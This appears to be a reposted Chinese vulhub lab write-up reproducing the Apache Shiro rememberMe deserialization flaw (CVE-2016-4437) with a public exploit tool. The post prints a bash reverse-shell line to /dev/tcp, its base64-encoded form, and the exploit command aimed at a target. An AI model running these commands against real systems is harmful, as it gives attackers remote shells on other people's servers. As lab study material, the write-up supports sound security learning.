栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

vulhub学习历程-Shiro反序列化-CVE-2016-4437

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

vulhub学习历程-Shiro反序列化-CVE-2016-4437

上篇文章:vulhub学习历程-搭建环境_ID不重要的博客-CSDN博客

关于Shiro反序列化CVE-2016-4437的复现 原理引用“CVE-2016-4437 (vulners.com)”

Shiro组件对rememberMe功能的cookie在cookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、base64编码操作。然后用户在请求网站时,shiro又会在识别身份的时候,对cookie里的rememberMe字段反向解密。

根据加密的顺序,相等于知道解密的顺序,并且AES加密的密钥Key被硬编码在代码里,同时大部分程序员在使用github上提供的程序时和shiro组件时并未更换Key,导致每个人都可以收集Key来遍历目标系统所使用的密钥,最终导致了反序列化漏洞。

使用卡片中地址的脚本进行测试

GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具https://github.com/insightglacier/Shiro_exploit

启用环境

根据上篇文章进行后续操作,进入跟目录下,启用docker即可

# cd CVE-2016-4437/                  #进入漏洞环境目录
# docker-compose up -d               #启用环境

 web访问https://IP:8080,并打开Remember me功能。至此,环境启用成功(这里就不进行漏洞探测了,漏洞探测的过程可以自行寻找POC脚本,或者BP抓包查看返回包中是否存在rememberme delete)

攻击机环境准备

1、python3

2、java8

测试此漏洞需要攻击机具备java8的环境,我这里使用jdk-8u202-linux-x64,自行去官网下载即可

 执行反弹shell命令

由于服务器编码问题,将shell命令进行编码,编码网址为,编码完成后备用。

java.lang.Runtime.exec() Payload Workarounds - @Jackson_Thttps://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/1.1.1.1/8888 0>&1
经过编码后得到
bash -c {echo,YmFzaCAtaSA+JiAvVDSFVDFVDFVSFVSDVLjADADASDFADFSFGAVCADFGVERGBRTYNERBGVRTBREBERQ==}|{base64,-d}|{bash,-i}

攻击机开启两个shell

窗口一执行nc监听

 窗口二执行payload相关命令,IP地址自行替换,这时备用的经过编码的payload可填入最后双引号中,如代码段所示

root@VM-0-8-ubuntu:/home/Shiro_exploit-master# python3 shiro_exploit.py -t 3 -u http://1.1.1.1:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCasdasdasdasdasdafasdfasdvSDsdsadsfgWRGWRGDSDfasdfQ==}|{base64,-d}|{bash,-i}"

 反弹成功

攻击机接收到反弹的shell

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/705205.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号